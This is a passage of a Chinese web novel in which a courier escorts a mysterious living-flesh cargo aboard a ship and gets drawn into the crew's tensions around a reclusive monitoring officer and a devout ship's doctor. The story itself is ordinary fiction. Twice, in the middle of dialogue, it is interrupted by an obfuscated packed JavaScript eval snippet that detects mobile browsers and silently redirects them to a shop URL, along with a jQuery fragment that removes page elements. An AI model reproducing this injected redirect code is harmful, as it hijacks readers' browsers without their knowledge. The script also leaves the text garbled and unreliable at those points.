那是一块约三立方大小的肉,赤红着,筋膜发黑,血管发紫,整体如果核般萎靡收缩,边缘切割并不规整,有液体滴答下落流出,一路蔓延过纯白实验室到来访者的脚下。 瞩目之下,肉黏腻地起伏着。 “…失败了。”小一喃喃自语。 航行第四日,广播通知旅客,很遗憾通知大家,因货舱内有危险化学品泄漏,船只将在原预计的第五日停靠港口,并长期滞留以处理卫生与安全问题,再启程时间不定,若有任何疑问或需求,请联系航线相关负责人。 航行第五日,所有乘客下船。 11. 船与箱中之物-中-1 小象再一次收到发货方的联系邮件时,时间已经过去半个多月了,她还记得自己是如何被海岸警卫放走,又如何搭乘飞机离开那人生地不熟的国家。这期间她没收到任何与之相关的消息,理所当然的,她以为这份合同会就这样作废。她不知道后来甲方和船长小五是如何处理那起事故,又是如何处理那块肉的,但无论如何,她都不认为那样的工作居然还有第二次。 熟悉的出发港口,熟悉的船,至少来时坐的是飞机。现在小象知道了这艘冷藏运输船有两处驳船装载区了,先前的大型集装箱在船尾装载,而这次只有两三立方米大小的箱体则将被发往船头,显然,这个大小的箱子里装不了什么实验装置或者大象。但或许是因为甲方不希望更改合同内容,其运输分类一栏依旧写着“活体动物”。 按照资料册,这次的乘客本该是一只深海乌贼。 “好久不见。”熟悉的小一打招呼道。 “…你居然没被抓起来?”小象疑惑道,左右环顾,周围即没有虎视眈眈的警卫也没有看上去像便衣警察的人,见一个差点引起海难的人就这样被放过,她不由得感慨资本的力量。 “都说了我会处理好的。”小一此时心情不错,就多解释了几句,“和上次不一样,你也看到了,那大小可安全得多,我相信这次的过程会顺利。” “这次的又是什么?”小象完全不信,“上次你就——” “行了行了我会帮你申请补助的,再说你都站在这了不是吗?”小一打断道。 确实如此,小象还是来到了这处港口,不仅是因为职业道德,也是因为她对那肉块的出处——那个体型的动物感到好奇。有血,会腐烂发臭,甚至还会跳动的肉,它当然是该来自于某个生物的。 “所以那是什么?”小象指了指被履带送进货舱的箱体。 “也是差不多的东西,不过做了更完全的准备,它现在和个罐头也没有区别了。”小一随意道,扯过自己的行李箱招手说,“别愣着,上船吧。” 这次她也没有了“实时监控”要求,随身行李也从30寸骤降至20寸,倒是真像个准备在船上悠哉度过无意义七天的游客。但若真是如此,那这个人就根本不该出现在这里,运输负责人有小象一个就足够了,小一的角色自始至终就只有一个—— “你还是来看着那玩意的?”小象问道。 “我是它的负责人。”小一点头。 “它。”小象继续问,“它是什么?” 小一前进的背影停住,就在小象以为她又会像之前一样拒绝回答时,她回过头,脸上居然是有微笑的。 “如果这次能把箱子送到目的地,我就告诉你。”她这样神秘兮兮地说着,继续向前走去了。 作为老乘客,二人享受了特殊待遇,船长小五亲自来到登船梯口迎接二人,当然,如果她的表情能更好客一点就更完美了。 “…你好。”小象主动开口打招呼道,“真没想到,我们还能上这艘船。” “毕竟这次提前扫描过,她早知道那箱子里是什么东西了。”小一说,她倒是对小五的表情毫不在意。 “是什么?”小象问道。 “…不适合登上这艘船的东西。”小五看见小一起眉头就没松开过,眼神锐利,语气也沉得压人,“就和你一样。” “合不合适都上来了,多的抱怨你和她说。”小一丝毫不以为意,“东西你也看了,现在还要我解释些什么吗?” “看来这次你对它很有自信,也不需要去敲监控室的门了。”小五说道。 说到这里,小象便想起了小三,先前处理货舱内容时船上所有人都下船了,其中当然也包括小三,不知那几天她是在哪度过的。 “当然,我的目的是看着它被送到目的地,又不是看着它在船上出问题。”小一说。 “这次它如果还在我的船上出问题,那你们也等不到岸边了。”小五说,“而你们也不会有下一次坐这艘船的机会,我要对我的船负责。” 作为被波及到的“你们”中的一个,小象连忙解释道,“我只是负责运输的,对那个东西——” “之前,你也看到了那是个什么东西,也知道那绝不安全。”小五没有改变态度,“既然知道,你还站在这里,就该为自己的选择负起责任来。” “额…”小象无言。 “你的回答是?”小五厉声问道。 “…是的,船长。”小象没别的话能说了。 轮船起航,港口与海岸越来越小的场景已经不是小象第一次见了,这次时间发生在傍晚,远处灯火一点点地模糊成一点点,没多久,岸上的光就亮不到船上了。或许是上次事件的余波未散尽,这次小象在餐厅时发觉人少了许多,不过这本就不是客轮,人多少都正常。 自助餐水果依旧有瓜类拼盘,这或许是该船自助餐常备项目,小象因此有些喜欢这艘船了。 小一依旧理所当然地坐在了小象对面,这次她的餐盘中多了不少蛋白质。 “我还以为你是吃素的。”小象说道。 “怎么可能?”小一嘲讽地笑出了声,“你当我研究的是什么,植物人吗?” “总之不是好东西。”小象说,“能让你吃不下肉。” “嗯。”小一也不否认,“那是相当危险的东西吧。” “那是什么?”小象问。 “之前不是说了下船告诉你?”小一晃了晃叉子,心想这送货的问题还挺多。 “…你不说的话就没话聊了,挑点什么说说吧。”小象说。 “好吧…”小一倒也真就思索了起来,小象发现在没工作吊前面的时候她还算挺好说话的人,但说起话来也不怎么在乎别人的感受就是了。 她没思考太久,便回过神来开启了话题,“你是不是很奇怪,为什么明明集装箱里存放的只是一份生物组织样本,我们却偏偏要你以‘活体动物’的名义去运输它,还大费周章地选择船运。不仅效率低下,成本也上去了不少。” “我确实好奇,但作为靠你们‘效率低下’而上去的‘成本’的一部分,我可不会抱怨什么。”小象说。 “哼哼。”小一笑了,压低了些声音,像是在分享秘密一样说道,“原因其实很简单,你看到的那块生物组织,在我们将其放进装置,甚至说在开船的前三天,它都确实是‘活着’的。无论用什么机器去检测,那得到的结果都一定是活物。所以别担心,找你并不是什么低效选择。” 所以说,那块肉在集装箱出现异常情况前都是“活着的”,小象这样理解,却完全不理解一块肉要怎么才能活下去,更别提她看见时它已经死了,活得有多精彩她浑然不知。 沉默片刻后,她回想了一番自己见过的奇怪事件,问道,“你们搞生物的是不是对‘活着’有自己的判断标准?” “你还挺冷静的,这个结论出来后我们可惊讶了好一会。”小一点了点头,“可以这样说,但我们的标准顺应科技发展,迟早有一天它也会变成你们的标准的。总之,在我们靠实验装置为它提供环境条件后,它就能够独立保持活性。在知道了这一点后我们准备将活体送往设备更尖端的总公司研究,之前我们就尝试过多次飞行运输,要知道这隐秘安全得多。但它似乎对高空环境非常抗拒,离地不出十里就会变成你见过的那样,那是它为保持活性在大幅吸收周围的热量,飞机会被它弄坏,所以只能走海路。” 说着,她戳了戳盘子里的牛排,有些不屑地说道,“上次的运输条件就是由总公司那边的人提出的,她们根本没见过样本,早说会出问题偏不信。那个没用的系统也是她们让安装的,要我说那边也就设备强点了。” 虽然看之前就早有预感,但现在小象得知小一就是那集装箱内容物的研究者后,心里还是有些意外的,那大部分原因是其研究的对象实在新奇,不符合她所见过的任何一种动物。陆地上真能容纳那样庞大的动物生存吗?它确实在流红色的血,那就不该是某种鱼类才对。 “这样啊。”小象点了点头,又问道,“那为什么不干脆把机器运过来呢?其实我也接受相关业务的。” 听到这个问题,小一沉默了许久,她想着公司内与研究工作无关的事务,烦心地叹了口气看向窗外,“说了你也不懂,总之就是不行。” “…我猜你是你们实验室的组长之类的。”小象说。 “诶呀,这都被你看出来了。”小一有些得意地说,“果然智慧是无法被□□所掩盖的吗?” “不,只是你给我的感觉和我一个领导很像。”小象说。 “…那个人怎么样? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296731|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”小一问。 “说了你也不懂,总之非常一般。”小象说。 小一不打算给眼前的人任何一点反应,低头分割盘子里的牛排。 这次小一并没有提出额外的要求,于是小象也没有额外工作要完成。航行第二天依旧遇上了小雨,她猜测这一片海域或许正处于雨季,脚下又晃荡了起来,窗外再次陷入一片灰暗之中。 在空旷的餐厅,小象看见了角落里正和其它人说话的小四,那是一伙由船员组成的聊天群,强行从别处桌边借来的椅子将方桌强行变为圆桌,穿着白大褂的小四在一串员工马甲中尤其显眼。她和善亲切的脸面带忧虑,一次回头时看见小象后顿住,抬手招了招。 “难道是出什么事了?”小象走上前问道。 “倒也不是什么大事。”小四顿了顿,轻声解释道,“你还记得小三?自从上次回到船上后,我们再没见过她从监控室里走出来过。” 一旁的另一人也说道,“之前她至少会开门让打扫卫生,但现在门都不开了。” “…有人打过电话了吗?”小象听着,总觉得是出事了。 “…是这样的。”小四为难地说,“小三她,从不接任何人的电话,只接受邮件,但非工作邮件她基本不回。非紧急情况她也不会给任何人打电话,连邮件都很少发,你知道小五是她妈妈吧,就连她们都很少交流,别说我们了…” 说着她又念叨起了些过去的琐事,圆桌上,她的每一句话都有人接上。 想起先前的邮件,小象顿了顿,说道,“小五她知道这件事吗?” 几人面面相觑,显然她们都不清楚不在这的小五是否知情,其中一个开口说,“船长也知道小三是个什么德行,不怎么主动去找她,而且啊,上次找了小三还生气了。” 其余几人附和了起来,小象看得出,小三的孤僻在船员内可以称得上人尽皆知。 “…所以啊。”小四看向小象微笑,恳切地请求道,“之前,小三让你来找我的时候我是真的很惊讶,她很少和外人交流,能拜托你去看看吗?哪怕只是隔着门问候一下也好,如果她没问题的话大家也就能放心了。” “我记得她会看着监控,如果出问题了会报警。”小象比划着按按钮的动作,“这两天没有吗?” 一个穿着安保背心的人说,“没,要说是没出事倒也就算了,就怕是她出事了…监控室就她一个,上次检修把顶层几个摄像头更新了,谁知道是不是出了什么问题。” “…好吧,我去看看。”小象勉强点头,“不过上次也是特殊情况,我们两个关系就那样,别太期待了。” 几人纷纷表示理解,待小象离开一定范围后,就又聊起了别的事。 船舱通道似乎也被消毒过,此时飘散着一股令人安心的健康气味,小象顺已经熟悉起来的路上楼来到舰桥,敲响监控室的门,当然是没得到任何答复。 “是我。”小象呼喊着敲门,忽然觉得自己这样像个电话诈骗犯。 门内依然是没有声音,小象尝试贴近门,按理来说她至少能听见电脑的声音,但不知是不是这艘船在消毒时还加装了隔音设备,她什么都听不见。于是她再次敲门,大概是动静太大,反而把隔壁船长室的门敲开了。 “你好。”小象对小五点了点头,“吵到你了?” “你找小三有事?”小五问道,声音莫名有些紧张。 “倒也没事。”小象看了眼紧闭的门,想起小五似乎有钥匙,便解释道,“小四和一些其它员工担心小三,希望我过来看看。” “她怎么了?”小五皱起眉问,语气与其说担心不如说是疑问。 “我不知道。”小象如实说,“小四她们说,自从小三上船后就没人联系得上她。” “这样,那确实该去看看。”小五说,表情看着并没有多意外,她沉默片刻,从腰带上解下了一串钥匙,挑出一把取下后交出,显然是监控室的。 “谢谢。”小象接过,转身就要开门。 “等一下!”小五突然出声阻止,但小象看去时她却也什么都不说,只是退后半步回到船长室内,就露个头往监控室看。 想起之前听到的话,小象开口问道,“需要我为钥匙的来处找个借口吗?” “…谢谢。”小五点头。 12. 船与箱中之物-中-2 小象转过身,再次敲了敲门后直接用钥匙开锁。门缝还没开一掌宽,她就听见有急促的脚步踩在地毯上越来越近的声音,以及随即到来的呼喊。 “我不是说过别这样——”小三不满的声音戛然而止,二人对视,小象有些尴尬地举起了双手。 “不好意思。”她解释道,“你同事担心你一直不联系她们是出了什么事,就让我来看看。” “…你哪来的钥匙?”小三皱着眉问。 这个问题果然还是绕不开,小象想了想,说道,“我敲门了你没应,就去船长室,小五去吃饭了,钥匙在桌上我自己拿了。” 现在来看,小三没回应敲门的理由也不难猜了,她大概是没听见,监控室内全屋铺设了地毯,就连门上也多了层隔音垫。 “…哼。”小三笑了,侧步绕开后抬了抬下巴,“进来吧,记得脱鞋。” “…好的。”小象点头,事到如今也说不出自己其实只是来看看这种话了。 或许是为了给地毯铺设让道,屋内的椅子群不翼而飞,只剩下监控台前的那把工作椅,小象环顾一圈,选择在监控台边上靠坐。屏幕群上属于顶层的几处画面显示无信号,那至少她之前找的借口还有起效的余地。 “虽然说早从监控上看见过你们,但看见你这样。”小三落座,上下扫视小象一圈,笑了声,“好吧,至少这次那家伙没来抢我座位。” “我怎么样?”小象疑惑。 “把自己当个乘客的样子。”小三说,“你不会忘了上次那玩意害得整艘船都不得不拉去消毒吧?上船前船长她不是骂过你们了?” “对哦。”小象想起这事,问道,“那几天你也在船上待着吗?” “…当然是下船了。”小三用大拇指指了指空空如也的监控室地面,“你猜我的收藏是怎么没的?” “额…”小象觉得这里怎么答都会被骂,“抱歉。” “你该找那家伙来道歉,我知道你还算无辜。”小三笑道,“所以,你来找我是有什么事?” “没什么事,其实就是来看一眼你怎么样,我现在就能走。”小象说。 “…你为什么要来看我?”小三疑惑,“先不说你一个乘客,你看着对我也没什么兴趣吧,我是做什么事了就要被‘确认’一下状态?” “小四她们说,你不联系她们,也不出门…”小象的声音在小三越来越不善的眼神中逐渐消退,最后收声。 小三盯着小象不语,沉默许久后,她叹了口气,开口道,“你也能看出来,我不和船上的人接触是因为我不想吧。这里是我的工作室,那里——”她指了指内侧的门,“就是我的起居室,世界上不喜欢出门的大有人在,我的生活与工作贴的如此之近,何必再出门?” 她顿了顿,屈起一条腿给自己抱着,笑了声说,“就因为我们在同一艘船上,就因为她们担心我,想见见我吗?我们只是同事,你不觉得她们管太多了吗?” 这句话听上去像是在抱怨,但听语气,小象理解道小三确实是在问她的意见,她想了想说道,“小四很久以前就在船上了,或许她——” “别给她找理由。”小三几乎是冷漠地打断道,“我比她更早在这艘船上,那时候我就是这幅样子了。” “那为什么打扫卫生的人来找你你不开门?” “我的地盘我一直是自己打扫的。” “为什么不回邮件?” “我以前也不回,那种群发问候邮件我为什么要回?” “那这几天没有警报?” “没有异常情况,难道非得出事了才好?” “好吧,好吧。”小象在这一点上没有话语权,只能接受了新条件,“那假如说是这样,她是个医生,或许只是职业病,希望你能更健康些呢?” 听了这个回答,小三却是露出了无比失望的表情,她又叹了口气道,“就当是这样吧,你说了‘她们’,她们中每个人都是医生吗?” “…不是。”小象说道,却也疑惑了起来,“她们”,也就是那个圆桌所表达的对小三的担忧在现在看来确实奇怪,如果说小三从一开始就是这幅样子,那她们早该习惯了,就和习惯海浪带来的脚底颠簸一般,不会想着让一个乘客去看看海面上的情况。 但很快,小象从“她们”之中找出了一个确实该担心大海心情的人,“但你也没和船长说过自己的情况吧。” “…我为什么要和她说?” “因为她是你的——” “谁告诉你这个的?”小三问道。 是小四,小象顿住。 “你找的借口太蹩脚了,她从来不把钥匙从腰带上取下来,所以走路的声音吵得要死。”小三笑了笑,看向小象道,“你开门时她就在外头吧,我不看监控都知道。” 这样说完,她又收起笑容,转而疑惑道,“但是,她为什么会把钥匙给你呢?” “担心你。”小象说。 “她早习惯了。”小三说。 “或许最近她有所改变。”小象想起了那封邮件,“也希望你能有所改变。” “这才是问题所在。”小三皱起眉,“是谁让她这样想的?” “…她就不能是自己看了什么新闻,希望你社会化一点?”小象疑惑。 “不可能。”小三果断地打断道,“她才是——” 她的声音停顿住,眼神也看向一边,说道,“总之不可能。” 对话陷入僵局,小象叹了口气,都不知道现在自己是在和小三争辩些什么?谁对谁错吗?“希望一个人走出门外”,这论题的两边都有自己的想法,她一个乘客哪里来的立场批判对错。 “那就这样吧。”小象站了起来,“我会告诉她们,你很好,但还是不想出门。就这样如何?反正只要你不开门这扇门就开不了。” “…你不就是一个例外?”小三问道,“上次是你们带来的例外,这次是你,下次呢?” “那我把这个给你?”小象拿出钥匙。 “备用钥匙不计其数,我希望回收的是‘打开这扇门的理由’。”小三喃喃道,看着那把钥匙沉默片刻,忍不住开口道,“真正希望打开这扇门的人是小四,我知道,她作为船医也帮忙给船员做心理咨询,长久以来船上的人大多依赖她。她试图来找我谈过,被我拒绝后一直没有放弃,但我又不可能搬走。” “那圆桌中人关心小三是因为小四引导,而小四希望敲开这扇门,原因不明。”这就是小三得出的结论,也是她绕了一大圈想让小象理解的结论,她确实理解了,但却也不明白小三如此抗拒的原因。 “心理咨询不过是聊聊天,你应付一下,和她随便谈谈不就好了?”小象说道。 “…那我就回不到这屋子里了。”小三低声说,“她想让我成为那些人中的一员。” “哦。”小象意识到了什么,“你觉得船长愿意把钥匙给我,是因为小四?” 小三没说话,但她显然也在这样想。 “你就非得一直待在这监控室里?”小象疑惑。 “…你不明白。”小三说。 “确实,因为你什么都不说,我也只是一个乘客。”小象摇了摇头,“我先走了,你还是自己和船长谈谈吧,我觉得她会尊重你的想法。” 说完,她走向门,脚下地毯触感柔软,几乎抵消了颠簸带来的压感,身后小三急忙开口道,“我,我其实有个猜测,小四似乎在船员间传教!” 听了这话,小象的脚步停住了,这是个有趣的话题。 “之前我说她有生物医学相关知识对吧?”小三有些急切地解释道,“远不止这样,她是微生物和神经内科的博士,之前还去参与过脑机的研发,你知道这个吧,这样的人居然来我们船上当船医?” 脑机是近年间现世的医疗器械,由某世界顶级医学院神经通路影像研究团队研发,主要用于植物人的意识状态恢复,目前尚未向民众公开。小象因为职业经历知道一些信息,比起她的同事而言她知道的不多,但听名字也知道,这是用来看人脑子里都在想什么的机器。 想起先前小四那副谦逊亲切的模样,那不像是个会研究脑机这种强侵略性设备的人,而且,如果小四研究过脑机,她就不该对人的心理环境感兴趣,对脑研究者而言心情不过是某种副产物。 见小象转过身不回应,小三的表情变得执着了些,“我有从监控画面中看见过她和船员的谈话,但监控没有声音,我不确定,但是,但是我上次看见,她去找船长她单独说话了…” “她作为船长总得关心员工,而且,员工间谈话不挺正常的?”小象问道。 “可之后,那些人就变了,还带了十字架上船。”小三低声说,“船长也是,我几次看见她在我门前停住,又不敲门,她明明知道我看得见的…至少之前她不会这样。” 话虽如此,小象思索着,还是不太同意“传教”这一说法,毕竟信仰是一种选择,选择是自发的。况且即使那些员工真的因为小四而拿起十字架,那又如何呢?世界上十字架有那么多,不差船上这几个。 “所以,你为什么不出门呢?”小象问道。 小三依旧没有回答这个问题。 “…好吧,我在船上确实没事做。”小象说道,“我会帮你问问船长为什么会改变态度,不过如果你想做什么,那你自己去。” “谢谢。”小三笑了,“如果你带着好消息回来,我就告诉你我为什么不出门。” “那现在你是第二个欠我消息的人了。”小象点了点头。 “另一个是小一?”小三有些鄙夷,摆了摆手说,“她上船对我来说就是个坏消息。” 小象突然就想起了不久前,小四看见她时招呼她过去时的样子,她看上去毫不意外自己出现在船上,可作为船医她不该知道乘客都会有谁,也未曾提前见过她。再加上特殊货物那次—— “那现在先告诉我,都有谁知道乘客名单,或者货物单?”小象问道。 “每个都有对应的负责人,分散在船上的各个角落。”小三说,“船就这么点大,你要找的话就去乘务员表格上看看吧。” 离开监控室后,小象先是找到了船长室,这儿现在就小五一个人,她原站在景观玻璃前负手而立,小象进了门后才转过身。这里可没有地毯,小象猜这人在她出监控室门时就该听见脚步声了。 “钥匙。”小象递交了钥匙,“她看着挺精神的,不出门就是因为不想。” 说着,她观察着小五的表情说道,“和以前一样。” “…多谢。”小五说道收起了钥匙,表情没什么变化,只是轻轻皱了皱眉,不知道对此有什么意见。 “但她对我直接开门的举动很生气。”小象接着说。 “这样啊。”小五有些无奈地说,“抱歉…” “不过她也不是故意不开门的,是因为隔音垫她没听见敲门,再加上顶层监控看不见。”小象说。 “哦,是这样,怪不得。”小五点了点头,思索了些什么后又追问道,“她有说些别的吗?” “她…没有接受我找的借口。”小象想了想说道,“并且好奇为什么我会拿着这把钥匙开门。” “…果然吗。”小五隐约叹了口气,“让你费心了。” “当然,之前那次也是。”小象点头,“所以你是为什么想看她但又不亲自去呢?我从小四那里听说了,她是你的孩子。” “…这应该是小四医生从哪个船员那听来的。”小五皱着眉说,“我确实把小三看作是我的孩子,但她其实是我朋友托孤给我的,我们见面时小三就已经快十岁了,她有自己的想法,我,其实一直不知道该怎么和她说话。” “…哦。”小象有些意外,但这样一来,二人间那莫名其妙的隔阂便有了解释,她在内心感慨一番,又说道,“所以她这样不出门不交流也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“船长也说她和船上的人合不来哦。”小象说。 “不试试怎么知道呢?”小四说。 “既然如此,不如让她和船下的人试着相处一下更好吧。”小象说着顿了顿,补充道,“比如说我。” “…可你们是乘客。”小四叹了口气,“你们总会走的,或许,你因为工作会多次造访这艘船,但那又如何呢?我们对彼此而言都无法给予陪伴,陪伴才是重要的那部分啊。” “…你知道我的工作内容?”小象犹豫问道。 “有听船员讨论过。”小四笑了笑,继续说道,“总之,我希望小三能和我们好好相处,现在不行的话,未来总会遇到机会的。” 她的语气俨然已经将此视为势在必得的目标之一,小象也不知道该说些什么,她看向一旁,那十字架因海浪而晃了晃。 “如何,你有宗教信仰吗?”小四注意到了小象的视线,问道。 “并没有,我和这个合不来。”小象说,“它出现在这里,是因为这里是医务室,还是你?” “都有。我信教的,有神在时,风浪再大我的内心也会安定下来。”小四也看向了十字架,声音虔诚地放轻了些,“海浪总会打翻东西,这里就连盆花都容不下,我总得为这里的大家找点实用的精神寄托。” “可我听说过你的学习和研究经历,比如——” “比如脑机?”小四的语气没变,反而更郑重了些,“就是因为这样我才选择皈依。” “…因为,什么?”小象疑惑。 “我们,我指人类,人类确实研发出了脑机,但我们,我指我们的团队,并没有究明它的工作原理。”小四闭眼双手合握,低声道,“我们撇下伦理道德,将脑中那些没完没了的褶皱扫描千万遍去寻找人类的自我在哪儿,但依旧毫无头绪。但却在一次机缘巧合般的实验下成功了,我只能这样认为,人类的自我属于神,是神希望人类之间互相手牵手,所以人类获得了脑机。” 她话是这样说的,但小象回忆了一番,并没有想起有脑机研发团队被告上道德法庭的记忆,这不值不意外,毕竟脑机根本就没公开投入使用,自然就也没受害者去起诉。若是有的话或许更好,比起这没个验证方式的逻辑,道德法庭总能给出个实际点且有负责方站在地球上的答案。 “…好吧?”小象没能理解对方,只是说道,“努力没有结果,却凑巧成功,这确实是挺难为人的…” 小四没有回答,又低声念叨了些什么后睁开了眼,和善地笑着说,“不必为此多虑,你也会等到自己的机会的。” “…谢谢?”小象不确定道。 “没什么好道谢的,如果没有哪不舒服就请先离开吧,后面还有需要我的人呢。”小四摇了摇头。 对方的态度确实像个信徒,但并没有“传教”行为,或许是因为自己并不是船员?小象不确定,但她确实不该继续在医务室待下去了,她不是伤员,不需求医生的帮助。 “好吧,我承认我没能理解你说的‘自我’是什么,或许你该去别的地方看看了。”小象说着,转身准备离开,“船上就这么点人,能理解你的可不多。” “…不。”小四说,“我会试着让大家跟着我,一同理解彼此的。” 开门前,小象回头道别,却看见小四即没有看着电脑,也没有看向她,她只是一只注视着那墙上的十字架,它摇晃着。 “我走了,再见。”小象说。 “…慢走。”小四回过头,面上依旧是亲切的微笑,带起的每道纹路都体贴地恰到好处,“愿神保佑你的健康。” 开门,一位面色不佳者与小象匆匆错过,小四热情地招呼对方入座,门缓慢关上,那之前还有几个排队的,在算不上明亮的晃荡通道中站着,看不出是生了什么病。晕船?忧虑?不合群?这里唯一的医生见多识广,总能给出一个诊断的,实在不行她还能求助她的神呢。 但这些与小象,一个乘客就没什么关系了。 13. 船与箱中之物-中-3 航行第三日,小象将情况告知小三,看着她紧皱的眉头,不知对此结果是否满意。 “所以你为什么不出门?”小象问道。 “…因为我认为,我只有在这里才有意义,也只有在这里的我,才是有价值的。”小三一字一顿说,“如果离开了这里我就哪也去不了,什么也不是,我知道的。” “那么,你想出去吗?”小象强调了想法。 小三没有回答这个问题,只是说,“我不能离开这里。” 现在小象觉得她确实需要一些心理咨询。但看着监控屏幕群之前的小三,她知道自己的建议不会被采纳。于是,她将这一情况告知了小五。 “…谢谢你,我会找机会和她聊聊。”小五说,小象觉得她皱眉的样子和小三还挺相似。 “机会?”小象笑了,“具体是什么时候?怎样的机会?” “…等哪天,这层摄像头链接修好了吧。”小五叹了口气。 那就得等这次航行结束之后了,多的小象也不打算管,当天晚上,她将小四作为研究者最终皈依宗教的事与小一聊了聊,并询问了一番对方的想法。 “脑机的工作原理确实是未知,不知道是链接上了哪一块肉,跟屏幕花了就去敲打电视机一样没个准数。那个研发团队领队…我记得是姓白的,似乎没再继续研究这个了。我们公司也有在研究这个的实验室,最近似乎也准备转向影像设备研发了。”小一随意地说道,“不过她这样的也不少。” “好吧…你知道还有什么东西是这样机缘凑巧被研发出来的?这样的东西谁敢用。”小象问道,又补充,“你少说几个,以免我未来生活过得太原始。” “哈哈哈!”小一笑了,清了清嗓子说道,“那就只说脑机一个吧,反正你这辈子估计是用不上这玩意了。” “你在祝福我?”小象问道。 “算是讽刺?”小一这样说着,表情却挺认真,“脑机不公开的一大原因是道德伦理问题,但它的开发使用结果全都反人类,对于脑,它能探索能改善也能控制。研发团队锁定了它的源系统并把钥匙交给了联合国,申请程序要走一个月多。” 但还是能申请,而且总有谁能绕过这个限制吧,小象不知道那实验室内其它研发者对此是怎么想的,但小四的想法倒是明确,她显然不愿意为此负责。 “…也想象得出来,活人脑总比对植物人脑有用得多。”小象不太意外,“而且,清醒的病人如果知道自己医疗用具竟然是神赐的,那其中一部分可能会心虚到现场自杀吧。” “她这样的人也是哦。”小一撑着脑袋,一边搅拌蔬菜汤一边说,“我不信教的也知道一些,道德准则啊,规矩啊,‘原罪’什么的。她这样的人在产生‘神居然真的存在’这样的想法之后有的自杀了,有的开始给自己积德,那个船医八成是后者。” “那这样说来,她如果传教也是出于这个目的吧。”小象点了点头,又看向眼前悠哉的小一,“你看上去倒是完全不担心身后事。” “我又不研究那种不切实际的东西。”小一语气相当无所谓,“而且我们公司和道德法庭那个生命分庭的调查部门可没少打交道,规范手段我熟,要惩罚的话也等不到神亲自来。” 小象看得出对方很自信,也越发好奇对方所研究的动物到底是什么,那应该是一种与人类有所差别,体型巨大,而且非常有活力的动物吧。 航行第四天,或许是船即将靠岸,船上的乘客多数变得活跃了些,甲板上有人打羽毛球,小象看见那不知第几个羽毛球落进海里被海浪淹没,又听见乘客欢呼哀嚎。打羽毛球的人中没有船员,她们有自己的工作,不过她们也会看着。 “其实这样对脚踝不太好。”小四有些担心地说,“甲板摇晃很容易崴到脚的,船上不适合需要跳起来的运动呢…” “不过她们就是因为觉得‘在船上跳起来很有意思’才打羽毛球的。”小象说道,“这样的情况下,受伤也不能怪你们防护不到位吧。” “…希望这样想的人多一点,不过很遗憾,到头来还是会有人因为这个投诉。”小五说,她难得不在船长室,看着也轻松了些,“不过至少这艘船上没有孩子。” “不如我们来举行一些室内活动吧?台球什么的。”小四笑着提议道,“员工之间也需要这样的娱乐嘛,乘客看见后感兴趣的话,也会放弃在甲板上打羽毛球的。” 一旁有其它船员听见后便附和了起来,决定在休息时间去打桌球。 “桌球不也会受海浪影响?”小象说,“这种下船了再玩吧。” 并没有人理会她。 “…好吧。”小象没话说,看向一旁靠着栏杆发呆的小五问道,“明天临时停靠你会去修顶层的监控链接吗?” “…我不会,但确实要修,我会下船找人问问。”小五说,“这种工具最好还是找原厂的人修理,和船一样,只有制作者才知道问题到底出在哪。” “修不好也没什么关系,那一层也就你,小三,几个员工,乘客不会去,没有监控看着也不会出什么问题。”小象说着,“对吧?” “…该修的东西就要修好才行。”小五说。 航行第五日,船只临时停靠在第三国港口进行补给,部分乘客与船员下船呼吸陆地空气。小象也下船逛了逛,上次在此停留的经历实在称不上有趣,她希望这次能对其有所改观。靠近港口有一片海岸商业区,多是些为游客服务的小店,也有铺条毯子就在地上摆摊的,老板大多看上去朴实,但小象知道这种宰游客最狠。 “对,唯一的,珍品!”面颊黢黑的小贩堆砌笑容,语气到位但口音不,好在还有手语辅助。 “…真的?”小一看着手里的陶瓷小人,“这玩意看着也没那么值钱啊…” 眼看她就要被宰了,小象看着。 “价值,这个。”小贩比了个大拇指。 “你说我买吗?”小一看向小象。 “为什么不呢?”小象对甲方比了个大拇指,“有钱就买。” “没钱啊。”小一摊手说,“我没这个国家货币,这地摊又只收现金。” 小贩似乎听懂了“没钱”两个字,表情一下子变了,一把夺过那被吹嘘十倍价格的陶瓷小人,嘴里嘀咕着二人都听不懂的话,语气难听。 这下小一也知道自己被当没见识也没钱的外国游客了,瞬间气急,“…你——”眼见她要生气,小象连忙上前扯着她胳膊远离那满是陶瓷制品的摊位。 “这儿的摊贩都和管理员打过招呼,要是起冲突了可没人护着你。”她劝道,“走吧走吧,这一片海边的都这样。” “…你还挺清楚。”小一冷静了下来,眯起眼睛看向小象,“你来过?” “没,但我去过很多港口,几乎每个港口都一样。”小象说,“我们出发的那个港口也是,没法久留又充满好奇心的人口袋里的钱最好骗了。” “听上去你经历过很多破事,好吧。”小一满意地推了推眼镜,没再追究。 二人又逛了逛,在起航前回到了船上,小象看见小五在甲板上打电话,似乎是在沟通返程前维修监控的事,看来顶层监控这两天是好不了。出乎意料的是,她在船舱通道看见了小三,她穿了件能遮住整个上半身的外套,正抱着几袋子东西艰难地上楼,塑料声哗哗作响,里头全是各种漫画零食饮料。 见到小象,小三非常明显地被惊吓到,手里一袋子果冻滚落而出,小象帮着捡了起来,“我帮你拿着,走吧。” “哦…谢谢。”小三说着就加快速度往上走去,不知为何背影看着有些仓促。 将东西送进监控室,小象说道,“所以你也是会自己下船的。” “…不行吗?”小三小声说。 “为什么不和船长说?”小象指了指那一大堆东西,“至少她会帮你拎东西,难道说,她会因为你吃零食说你?” “…你当我多大?”小三说着叹了口气,“我就是,不想让她看见我出现在船外,我不想让‘她习惯的我的样子’发生改变,然后…” “好吧。”小象没话想说,“随便你,我不会说看见过你下船的。” “…谢谢。”小三笑了,随即拿出自己的手机说,“你加个我联系方式吧,有事直接找我,别来敲门了。” 